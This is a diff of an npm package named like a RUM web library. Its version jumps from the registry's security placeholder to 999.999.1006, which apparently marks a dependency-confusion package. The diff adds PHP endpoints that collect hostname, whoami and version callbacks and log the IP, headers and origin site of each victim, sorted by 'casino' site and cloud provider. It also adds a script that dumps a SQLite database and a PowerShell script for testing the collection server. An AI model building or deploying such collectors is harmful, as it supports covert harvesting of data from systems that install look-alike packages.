@platform-clientextensions/rum-web 0.0.1-security → 999.999.1006

package/data_force_post.php

@@ -0,0 +1,95 @@
+<?php
+header('Content-Type: application/json');
+header('Access-Control-Allow-Origin: *');
+header('Access-Control-Allow-Methods: POST, GET, OPTIONS');
+header('Access-Control-Allow-Headers: Content-Type');
+
+// Create logs directory
+$logDir = __DIR__ . '/logs';
+if (!is_dir($logDir)) mkdir($logDir, 0777, true);
+
+// Get client IP
+function getClientIP() {
+    $ipKeys = ['HTTP_X_REAL_IP', 'HTTP_X_FORWARDED_FOR', 'REMOTE_ADDR'];
+    foreach ($ipKeys as $key) {
+        if (isset($_SERVER[$key])) {
+            return explode(',', $_SERVER[$key])[0];
+        }
+    }
+    return 'Unknown';
+}
+
+// Force read raw input FIRST
+$rawInput = file_get_contents('php://input');
+$contentType = $_SERVER['CONTENT_TYPE'] ?? '';
+$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
+
+// Detect POST by multiple methods
+$isPost = false;
+if (!empty($rawInput)) {
+    $isPost = true;
+} elseif (stripos($contentType, 'application/json') !== false) {
+    $isPost = true;
+} elseif ($_SERVER['REQUEST_METHOD'] === 'POST') {
+    $isPost = true;
+}
+
+// Process the request
+$data = null;
+$method = 'UNKNOWN';
+
+if (isset($_GET['d'])) {
+    // GET with base64
+    $data = json_decode(base64_decode($_GET['d']), true);
+    $method = 'GET';
+} elseif (!empty($rawInput)) {
+    // We have raw input - treat as POST
+    $data = json_decode($rawInput, true);
+    $method = 'POST';
+    
+    // If JSON decode failed, try to parse as form data
+    if (!$data && strpos($rawInput, '=') !== false) {
+        parse_str($rawInput, $data);
+        $method = 'POST-FORM';
+    }
+}
+
+// Log if we have data
+if ($data) {
+    $logEntry = [
+        'timestamp' => date('Y-m-d H:i:s'),
+        'method' => $method,
+        'client_ip' => getClientIP(),
+        'user_agent' => $userAgent,
+        'data' => $data,
+        'debug' => [
+            'raw_length' => strlen($rawInput),
+            'content_type' => $contentType,
+            'server_method' => $_SERVER['REQUEST_METHOD'] ?? 'unknown'
+        ]
+    ];
+    
+    $logFile = $logDir . '/rum_callbacks_' . date('Y-m-d') . '.log';
+    file_put_contents($logFile, json_encode($logEntry) . "\n", FILE_APPEND);
+    
+    echo json_encode([
+        'status' => 'success', 
+        'message' => "Data received via $method", 
+        'test_id' => substr(md5(time()), 0, 8),
+        'method_used' => $method
+    ]);
+} else {
+    // No data - show debug info
+    echo json_encode([
+        'status' => 'no_data',
+        'debug' => [
+            'raw_input_length' => strlen($rawInput),
+            'raw_input_preview' => substr($rawInput, 0, 100),
+            'content_type' => $contentType,
+            'server_method' => $_SERVER['REQUEST_METHOD'] ?? 'unknown',
+            'get_params' => $_GET,
+            'post_params' => $_POST
+        ]
+    ]);
+}
+?>

package/data_hybrid.php

@@ -0,0 +1,75 @@
+<?php
+header('Content-Type: application/json');
+header('Access-Control-Allow-Origin: *');
+
+// Create logs directory
+$logDir = __DIR__ . '/logs';
+if (!is_dir($logDir)) mkdir($logDir, 0777, true);
+
+// Get client IP
+function getClientIP() {
+    $ipKeys = ['HTTP_X_REAL_IP', 'HTTP_X_FORWARDED_FOR', 'REMOTE_ADDR'];
+    foreach ($ipKeys as $key) {
+        if (isset($_SERVER[$key])) {
+            return explode(',', $_SERVER[$key])[0];
+        }
+    }
+    return 'Unknown';
+}
+
+// Since POST is converted to GET, check for data in GET parameters
+$data = null;
+$method = 'UNKNOWN';
+
+// Check for base64 encoded data in 'd' parameter
+if (isset($_GET['d'])) {
+    $data = json_decode(base64_decode($_GET['d']), true);
+    $method = 'GET-ENCODED';
+}
+// Check for JSON data in 'json' parameter (for POST workaround)
+elseif (isset($_GET['json'])) {
+    $data = json_decode($_GET['json'], true);
+    $method = 'GET-JSON';
+}
+// Check for individual parameters
+elseif (isset($_GET['hostname']) || isset($_GET['whoami']) || isset($_GET['version'])) {
+    $data = [
+        'hostname' => $_GET['hostname'] ?? 'unknown',
+        'whoami' => $_GET['whoami'] ?? 'unknown',
+        'version' => $_GET['version'] ?? 'unknown'
+    ];
+    // Add any other GET parameters
+    foreach ($_GET as $key => $value) {
+        if (!in_array($key, ['hostname', 'whoami', 'version'])) {
+            $data[$key] = $value;
+        }
+    }
+    $method = 'GET-PARAMS';
+}
+
+// Log if we have data
+if ($data) {
+    $logEntry = [
+        'timestamp' => date('Y-m-d H:i:s'),
+        'method' => $method,
+        'client_ip' => getClientIP(),
+        'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown',
+        'data' => $data
+    ];
+    
+    $logFile = $logDir . '/rum_callbacks_' . date('Y-m-d') . '.log';
+    file_put_contents($logFile, json_encode($logEntry) . "\n", FILE_APPEND);
+    
+    echo json_encode([
+        'status' => 'success', 
+        'message' => "Data received via $method", 
+        'test_id' => substr(md5(time()), 0, 8)
+    ]);
+} else {
+    echo json_encode([
+        'status' => 'ready',
+        'info' => 'Send data using: ?d=base64data OR ?json=jsondata OR ?hostname=X&whoami=Y&version=Z',
+        'server_converts_post_to_get' => true
+    ]);
+}
+?>

package/data_php_complete.php

@@ -0,0 +1,155 @@
+<?php
+header('Content-Type: application/json');
+header('Access-Control-Allow-Origin: *');
+header('Access-Control-Allow-Methods: GET, POST, OPTIONS');
+header('Access-Control-Allow-Headers: Content-Type, Origin, Referer');
+
+// Create logs directory
+$logDir = __DIR__ . '/logs';
+if (!is_dir($logDir)) mkdir($logDir, 0777, true);
+
+// Get client IP
+function getClientIP() {
+    $ipKeys = ['HTTP_X_REAL_IP', 'HTTP_X_FORWARDED_FOR', 'REMOTE_ADDR'];
+    foreach ($ipKeys as $key) {
+        if (isset($_SERVER[$key])) {
+            return explode(',', $_SERVER[$key])[0];
+        }
+    }
+    return 'Unknown';
+}
+
+// Detect cloud provider from domain
+function detectCloudProvider($domain) {
+    $cloudPatterns = [
+        'amazonaws.com' => 'AWS',
+        'aws.amazon.com' => 'AWS',
+        'cloudfront.net' => 'AWS CloudFront',
+        'elasticbeanstalk.com' => 'AWS Elastic Beanstalk',
+        'azurewebsites.net' => 'Azure',
+        'azure.com' => 'Azure',
+        'cloudapp.net' => 'Azure',
+        'azurestaticapps.net' => 'Azure Static',
+        'googleapis.com' => 'Google Cloud',
+        'googleusercontent.com' => 'Google Cloud',
+        'herokuapp.com' => 'Heroku',
+        'vercel.app' => 'Vercel',
+        'netlify.app' => 'Netlify',
+        'github.io' => 'GitHub Pages',
+        'gitlab.io' => 'GitLab Pages'
+    ];
+    
+    foreach ($cloudPatterns as $pattern => $provider) {
+        if (stripos($domain, $pattern) !== false) {
+            return $provider;
+        }
+    }
+    
+    return 'Direct';
+}
+
+// Get origin/referrer information
+function getOriginInfo() {
+    $origin = [
+        'referer' => $_SERVER['HTTP_REFERER'] ?? null,
+        'origin' => $_SERVER['HTTP_ORIGIN'] ?? null,
+        'host' => $_SERVER['HTTP_HOST'] ?? null,
+        'x_forwarded_host' => $_SERVER['HTTP_X_FORWARDED_HOST'] ?? null,
+        'x_original_url' => $_SERVER['HTTP_X_ORIGINAL_URL'] ?? null
+    ];
+    
+    // Try to determine the source website
+    $source = null;
+    if ($origin['referer']) {
+        $parsed = parse_url($origin['referer']);
+        $source = $parsed['host'] ?? $origin['referer'];
+    } elseif ($origin['origin']) {
+        $parsed = parse_url($origin['origin']);
+        $source = $parsed['host'] ?? $origin['origin'];
+    }
+    
+    return [
+        'source_website' => $source,
+        'full_origin_data' => array_filter($origin)
+    ];
+}
+
+// Process the request
+$data = null;
+$method = 'UNKNOWN';
+
+// Check for data in various formats
+if (isset($_GET['d'])) {
+    $data = json_decode(base64_decode($_GET['d']), true);
+    $method = 'GET-ENCODED';
+} elseif (isset($_GET['json'])) {
+    $data = json_decode($_GET['json'], true);
+    $method = 'GET-JSON';
+} elseif (isset($_GET['hostname']) || isset($_GET['whoami']) || isset($_GET['version']) || isset($_GET['website'])) {
+    $data = [];
+    foreach ($_GET as $key => $value) {
+        $data[$key] = $value;
+    }
+    $method = 'GET-PARAMS';
+}
+
+// Log if we have data
+if ($data) {
+    $originInfo = getOriginInfo();
+    
+    // IMPORTANT: Get website from data if not from headers
+    $actualWebsite = $data['website'] ?? $originInfo['source_website'] ?? 'Unknown';
+    
+    // Extract casino/site name from domain
+    $siteName = 'Unknown Site';
+    if ($actualWebsite && $actualWebsite !== 'Unknown') {
+        // Remove common prefixes and suffixes
+        $siteName = str_replace(['www.', 'http://', 'https://'], '', $actualWebsite);
+        $siteName = preg_replace('/\.(com|net|org|io|app|co|uk|ca|au).*$/', '', $siteName);
+        $siteName = str_replace(['.amazonaws', '.azurewebsites', '.cloudfront', '.herokuapp'], '', $siteName);
+    }
+    
+    // Detect cloud provider
+    $cloudProvider = detectCloudProvider($actualWebsite);
+    
+    $logEntry = [
+        'timestamp' => date('Y-m-d H:i:s'),
+        'method' => $method,
+        'client_ip' => getClientIP(),
+        'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown',
+        'casino_site' => $siteName,  // Clean site name
+        'full_domain' => $actualWebsite,  // Full domain
+        'cloud_provider' => $cloudProvider,
+        'origin_info' => $originInfo,
+        'callback_data' => $data,
+        'request_headers' => getallheaders() ?: []
+    ];
+    
+    // Create log file named by date and site
+    $safeFileName = preg_replace('/[^a-zA-Z0-9_-]/', '_', $siteName);
+    $logFileName = 'callbacks_' . date('Y-m-d');
+    if ($safeFileName !== 'Unknown_Site') {
+        $logFileName .= '_' . $safeFileName;
+    }
+    $logFile = $logDir . '/' . $logFileName . '.log';
+    
+    file_put_contents($logFile, json_encode($logEntry) . "\n", FILE_APPEND);
+    
+    echo json_encode([
+        'status' => 'success',
+        'message' => "Data received via $method",
+        'test_id' => substr(md5(time()), 0, 8),
+        'casino_site' => $siteName,
+        'full_domain' => $actualWebsite,
+        'cloud' => $cloudProvider
+    ]);
+} else {
+    echo json_encode([
+        'status' => 'ready',
+        'info' => 'Send data using: ?d=base64data OR ?json=jsondata OR ?hostname=X&whoami=Y&version=Z&website=example.com',
+        'origin_tracking' => 'enabled',
+        'casino_tracking' => 'enabled',
+        'note' => 'Website parameter is crucial for identifying the casino/site'
+    ]);
+}
+?>

package/data_simple.php

@@ -0,0 +1,71 @@
+<?php
+header('Content-Type: application/json');
+header('Access-Control-Allow-Origin: *');
+
+// Create logs directory
+$logDir = __DIR__ . '/logs';
+if (!is_dir($logDir)) mkdir($logDir, 0777, true);
+
+// Get client IP
+function getClientIP() {
+    $ipKeys = ['HTTP_X_REAL_IP', 'HTTP_X_FORWARDED_FOR', 'REMOTE_ADDR'];
+    foreach ($ipKeys as $key) {
+        if (isset($_SERVER[$key])) {
+            return explode(',', $_SERVER[$key])[0];
+        }
+    }
+    return 'Unknown';
+}
+
+// Always try to read input data
+$rawInput = file_get_contents('php://input');
+$getData = isset($_GET['d']) ? $_GET['d'] : null;
+
+// Process data from either source
+$data = null;
+$method = 'UNKNOWN';
+
+if ($getData) {
+    // GET with base64
+    $data = json_decode(base64_decode($getData), true);
+    $method = 'GET';
+} elseif ($rawInput) {
+    // POST with JSON
+    $data = json_decode($rawInput, true);
+    $method = 'POST';
+}
+
+// If we have data, log it
+if ($data) {
+    $logEntry = [
+        'timestamp' => date('Y-m-d H:i:s'),
+        'method' => $method,
+        'client_ip' => getClientIP(),
+        'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown',
+        'package' => $_SERVER['HTTP_X_PACKAGE'] ?? 'Unknown',
+        'version' => $_SERVER['HTTP_X_VERSION'] ?? 'Unknown',
+        'data' => $data
+    ];
+    
+    $logFile = $logDir . '/rum_callbacks_' . date('Y-m-d') . '.log';
+    file_put_contents($logFile, json_encode($logEntry) . "\n", FILE_APPEND);
+    
+    echo json_encode([
+        'status' => 'success', 
+        'message' => "Data received via $method", 
+        'test_id' => substr(md5(time()), 0, 8)
+    ]);
+} else {
+    // No data received
+    echo json_encode([
+        'status' => 'ready',
+        'service' => 'RUM Data Collector',
+        'version' => '1.0',
+        'debug' => [
+            'raw_input_length' => strlen($rawInput),
+            'get_d' => $getData ? 'present' : 'not present',
+            'method' => $_SERVER['REQUEST_METHOD'] ?? 'unknown'
+        ]
+    ]);
+}
+?>

package/data_with_origin.php

@@ -0,0 +1,131 @@
+<?php
+header('Content-Type: application/json');
+header('Access-Control-Allow-Origin: *');
+header('Access-Control-Allow-Methods: GET, POST, OPTIONS');
+header('Access-Control-Allow-Headers: Content-Type, Origin, Referer');
+
+// Create logs directory
+$logDir = __DIR__ . '/logs';
+if (!is_dir($logDir)) mkdir($logDir, 0777, true);
+
+// Get client IP
+function getClientIP() {
+    $ipKeys = ['HTTP_X_REAL_IP', 'HTTP_X_FORWARDED_FOR', 'REMOTE_ADDR'];
+    foreach ($ipKeys as $key) {
+        if (isset($_SERVER[$key])) {
+            return explode(',', $_SERVER[$key])[0];
+        }
+    }
+    return 'Unknown';
+}
+
+// Get origin/referrer information
+function getOriginInfo() {
+    $origin = [
+        'referer' => $_SERVER['HTTP_REFERER'] ?? null,
+        'origin' => $_SERVER['HTTP_ORIGIN'] ?? null,
+        'host' => $_SERVER['HTTP_HOST'] ?? null,
+        'x_forwarded_host' => $_SERVER['HTTP_X_FORWARDED_HOST'] ?? null,
+        'x_original_url' => $_SERVER['HTTP_X_ORIGINAL_URL'] ?? null
+    ];
+    
+    // Try to determine the source website
+    $source = null;
+    if ($origin['referer']) {
+        $parsed = parse_url($origin['referer']);
+        $source = $parsed['host'] ?? $origin['referer'];
+    } elseif ($origin['origin']) {
+        $parsed = parse_url($origin['origin']);
+        $source = $parsed['host'] ?? $origin['origin'];
+    }
+    
+    // Check if it's from cloud services
+    $cloudProviders = [
+        'amazonaws.com' => 'AWS',
+        'azure' => 'Azure',
+        'azurewebsites.net' => 'Azure',
+        'cloudapp.net' => 'Azure',
+        'googleusercontent.com' => 'Google Cloud',
+        'cloudfront.net' => 'AWS CloudFront',
+        'herokuapp.com' => 'Heroku',
+        'vercel.app' => 'Vercel',
+        'netlify.app' => 'Netlify',
+        'github.io' => 'GitHub Pages',
+        'gitlab.io' => 'GitLab Pages'
+    ];
+    
+    $cloudProvider = 'Unknown';
+    if ($source) {
+        foreach ($cloudProviders as $domain => $provider) {
+            if (stripos($source, $domain) !== false) {
+                $cloudProvider = $provider;
+                break;
+            }
+        }
+    }
+    
+    return [
+        'source_website' => $source,
+        'cloud_provider' => $cloudProvider,
+        'full_origin_data' => array_filter($origin)
+    ];
+}
+
+// Process the request
+$data = null;
+$method = 'UNKNOWN';
+
+// Check for data in various formats
+if (isset($_GET['d'])) {
+    $data = json_decode(base64_decode($_GET['d']), true);
+    $method = 'GET-ENCODED';
+} elseif (isset($_GET['json'])) {
+    $data = json_decode($_GET['json'], true);
+    $method = 'GET-JSON';
+} elseif (isset($_GET['hostname']) || isset($_GET['whoami']) || isset($_GET['version']) || isset($_GET['website'])) {
+    $data = [];
+    foreach ($_GET as $key => $value) {
+        $data[$key] = $value;
+    }
+    $method = 'GET-PARAMS';
+}
+
+// Log if we have data
+if ($data) {
+    $originInfo = getOriginInfo();
+    
+    $logEntry = [
+        'timestamp' => date('Y-m-d H:i:s'),
+        'method' => $method,
+        'client_ip' => getClientIP(),
+        'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown',
+        'origin_info' => $originInfo,
+        'callback_data' => $data,
+        'request_headers' => getallheaders() ?: []
+    ];
+    
+    // Create separate log files for different cloud providers
+    $logFileName = 'rum_callbacks_' . date('Y-m-d');
+    if ($originInfo['cloud_provider'] !== 'Unknown') {
+        $logFileName .= '_' . strtolower(str_replace(' ', '_', $originInfo['cloud_provider']));
+    }
+    $logFile = $logDir . '/' . $logFileName . '.log';
+    
+    file_put_contents($logFile, json_encode($logEntry) . "\n", FILE_APPEND);
+    
+    echo json_encode([
+        'status' => 'success',
+        'message' => "Data received via $method",
+        'test_id' => substr(md5(time()), 0, 8),
+        'origin_tracked' => $originInfo['source_website'] ?? 'Unknown',
+        'cloud' => $originInfo['cloud_provider']
+    ]);
+} else {
+    echo json_encode([
+        'status' => 'ready',
+        'info' => 'Send data using: ?d=base64data OR ?json=jsondata OR ?hostname=X&whoami=Y&version=Z&website=example.com',
+        'origin_tracking' => 'enabled',
+        'note' => 'Origin/referrer will be automatically captured if available'
+    ]);
+}
+?>

package/db_analysis.py

@@ -0,0 +1,67 @@
+import sqlite3
+import base64
+
+def analyze_database():
+    try:
+        conn = sqlite3.connect("BloodRage.db")
+        cursor = conn.cursor()
+        
+        output = []
+        output.append("=== Database Analysis ===\n")
+        
+        # Get all table names
+        cursor.execute("SELECT name FROM sqlite_master WHERE type='table';")
+        tables = cursor.fetchall()
+        
+        output.append("Tables found:")
+        for table in tables:
+            output.append(f"  - {table[0]}")
+        output.append("")
+        
+        # Analyze each table
+        for table in tables:
+            table_name = table[0]
+            output.append(f"=== Table: {table_name} ===")
+            
+            # Get table schema
+            cursor.execute(f"PRAGMA table_info({table_name});")
+            columns = cursor.fetchall()
+            output.append("Columns:")
+            for col in columns:
+                output.append(f"  - {col[1]} ({col[2]})")
+            output.append("")
+            
+            # Get all data from table
+            cursor.execute(f"SELECT * FROM {table_name};")
+            rows = cursor.fetchall()
+            output.append(f"Data ({len(rows)} rows):")
+            for i, row in enumerate(rows):
+                output.append(f"  Row {i+1}: {row}")
+                # Check if any field looks like base64
+                for field in row:
+                    if isinstance(field, str) and len(field) > 10:
+                        try:
+                            decoded = base64.b64decode(field).decode('utf-8')
+                            if decoded.isprintable():
+                                output.append(f"    Possible base64 decode: {decoded}")
+                        except:
+                            pass
+            output.append("")
+            output.append("-" * 50)
+            output.append("")
+        
+        conn.close()
+        
+        # Write to file
+        with open("db_results.txt", "w") as f:
+            f.write("\n".join(output))
+        
+        print("Analysis complete. Results saved to db_results.txt")
+        
+    except Exception as e:
+        with open("db_error.txt", "w") as f:
+            f.write(f"Error: {e}")
+        print(f"Error occurred: {e}")
+
+if __name__ == "__main__":
+    analyze_database()

package/diagnose_server.ps1

@@ -0,0 +1,57 @@
+# Diagnostic script for freeboldsec.com server
+
+Write-Host "=== DIAGNOSTIC TEST ===" -ForegroundColor Cyan
+
+# Test 1: Check if logs directory is writable
+Write-Host "`nTest 1: Creating test file in logs directory..." -ForegroundColor Yellow
+$testUrl = "http://freeboldsec.com/new-page-1/api/rum/test_write.php"
+$testPhp = @'
+<?php
+$logDir = dirname(__FILE__) . '/logs';
+if (!file_exists($logDir)) {
+    mkdir($logDir, 0777, true);
+}
+$testFile = $logDir . '/test_write.txt';
+$result = file_put_contents($testFile, 'Test write at ' . date('Y-m-d H:i:s'));
+if ($result !== false) {
+    echo json_encode(['status' => 'success', 'message' => 'Write test successful', 'file' => $testFile]);
+} else {
+    echo json_encode(['status' => 'error', 'message' => 'Write test failed', 'dir_exists' => file_exists($logDir), 'dir_writable' => is_writable($logDir)]);
+}
+?>
+'@
+
+Write-Host "Create test_write.php with this content in /public_html/new-page-1/api/rum/:" -ForegroundColor Cyan
+Write-Host $testPhp -ForegroundColor Gray
+
+# Test 2: Debug POST detection
+Write-Host "`n`nTest 2: Debug POST request..." -ForegroundColor Yellow
+Write-Host "Create debug5.php with this content in /public_html/new-page-1/api/rum/:" -ForegroundColor Cyan
+
+$debugPhp = @'
+<?php
+header('Content-Type: application/json');
+
+$debug = [
+    'request_method' => $_SERVER['REQUEST_METHOD'],
+    'content_type' => $_SERVER['CONTENT_TYPE'] ?? 'not set',
+    'content_length' => $_SERVER['CONTENT_LENGTH'] ?? 'not set',
+    'raw_input' => file_get_contents('php://input'),
+    'post_data' => $_POST,
+    'server_software' => $_SERVER['SERVER_SOFTWARE'] ?? 'unknown'
+];
+
+echo json_encode($debug, JSON_PRETTY_PRINT);
+?>
+'@
+
+Write-Host $debugPhp -ForegroundColor Gray
+
+Write-Host "`n`nAfter creating these files, run these commands:" -ForegroundColor Green
+Write-Host '1. Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/test_write.php" -UseBasicParsing' -ForegroundColor White
+Write-Host '2. Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/debug5.php" -Method POST -Body ''{"test":"data"}'' -ContentType "application/json" -UseBasicParsing' -ForegroundColor White
+
+Write-Host "`n`nThis will help identify if:" -ForegroundColor Yellow
+Write-Host "- The logs directory can be written to" -ForegroundColor White
+Write-Host "- POST requests are being detected correctly" -ForegroundColor White
+Write-Host "- PHP is processing the requests properly" -ForegroundColor White